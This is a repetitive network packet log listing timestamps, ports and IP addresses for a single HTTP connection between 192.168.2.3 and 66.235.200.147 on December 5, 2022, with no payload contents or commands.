Dec 5, 2022 06:44:36.448369980 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448388100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448398113 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.448406935 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448426008 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448434114 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.448442936 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448460102 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448476076 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448483944 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.448496103 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448503971 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.448513985 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448530912 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448535919 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.448549032 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448565006 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448581934 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448599100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448611975 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.448616982 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448633909 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.448635101 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448653936 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448656082 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.448668003 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.448671103 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448689938 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448705912 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448719025 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.448724031 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448741913 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448745012 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.448760033 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448776960 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448787928 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.448793888 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448812008 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448822021 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.448828936 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448843956 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.448847055 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448867083 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448884964 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448890924 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.448901892 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448920965 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448931932 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.448936939 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448956966 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.448978901 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.448992014 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449008942 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449016094 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.449028015 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449047089 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449048996 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.449065924 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449084997 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449100971 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449114084 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.449120998 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449134111 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.449140072 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449157953 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.449160099 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449179888 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449197054 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449203014 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.449214935 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449233055 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449248075 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.449251890 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449270964 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449289083 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449290991 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.449306965 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449316978 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.449359894 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449361086 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.449379921 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449398041 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449414968 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449428082 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.449434996 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449453115 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449469090 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.449470043 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449490070 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449493885 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.449507952 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449526072 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449541092 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.449543953 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449563026 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449572086 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.449583054 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449600935 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449610949 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.449619055 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449637890 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449644089 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.449656010 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449675083 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449681044 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.449693918 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449712038 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449722052 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.449749947 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.449750900 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449774027 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449815035 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.449820042 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449839115 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449856997 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449875116 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449884892 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.449892998 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449912071 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449920893 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.449930906 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449949026 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449951887 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.449969053 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.449986935 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450007915 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.450036049 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.450081110 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450099945 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450114012 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450144053 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.450149059 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450170040 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450182915 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450202942 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450210094 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.450232983 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.450292110 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450323105 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450355053 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.450449944 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450469017 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450485945 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450503111 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450510979 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.450522900 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450536013 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.450542927 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450562954 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450568914 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.450582027 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450599909 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450617075 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450619936 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.450642109 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.450664997 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450684071 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450704098 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450707912 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.450721025 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450740099 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450757027 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450759888 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.450774908 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450786114 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.450794935 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450812101 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450819969 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.450830936 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450850010 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450865984 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450870991 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.450895071 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.450895071 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450915098 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450932980 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450954914 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.450957060 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450975895 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.450977087 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.450994968 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451014042 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451031923 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451035023 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.451050997 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451060057 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.451070070 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451087952 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451092958 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.451107025 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451123953 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451142073 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451144934 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.451162100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451169014 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.451180935 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451200008 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451217890 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451220989 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.451239109 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451242924 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.451257944 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451276064 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451294899 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451304913 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.451313972 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451333046 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451338053 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.451349974 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.451353073 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451371908 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451390028 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451407909 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451414108 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.451431036 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451440096 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.451450109 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451469898 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451474905 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.451489925 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451508045 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451525927 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451528072 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.451545000 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451550007 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.451562881 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451581001 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451598883 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451602936 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.451617956 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451627016 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.451637983 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451657057 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451674938 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451680899 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.451694012 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451703072 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.451711893 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451730013 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451740980 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.451747894 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451766014 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451767921 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.451783895 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451803923 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451805115 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.451823950 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451843023 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451859951 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451862097 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.451879978 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451884031 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.451898098 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451915979 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451932907 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451937914 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.451952934 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451960087 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.451971054 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451988935 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.451994896 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.452007055 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452023983 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452040911 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452044964 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.452059031 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452069998 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.452078104 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452095985 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452104092 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.452114105 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452143908 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452162981 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452163935 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.452181101 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452186108 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.452199936 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452215910 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452234030 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452241898 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.452250957 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452260971 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.452269077 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452287912 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452296019 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.452305079 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452321053 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452337027 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452342033 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.452353954 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452363968 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.452372074 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452389002 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452394962 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.452405930 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452429056 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452445030 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452446938 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.452462912 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452469110 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.452481985 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452500105 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452516079 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452521086 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.452533960 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452544928 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.452550888 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452573061 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452579021 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.452590942 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452608109 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452624083 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452629089 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.452641964 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452652931 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.452658892 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452677011 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452682972 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.452694893 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452712059 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452728033 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452733994 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.452747107 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452754974 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.452764988 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452780962 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452790976 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.452799082 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452816010 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452832937 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452836990 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.452851057 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452858925 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.452867985 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452884912 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452893019 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.452904940 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452922106 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452938080 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.452944040 CET	49704	80	192.168.2.3	66.235.200.147
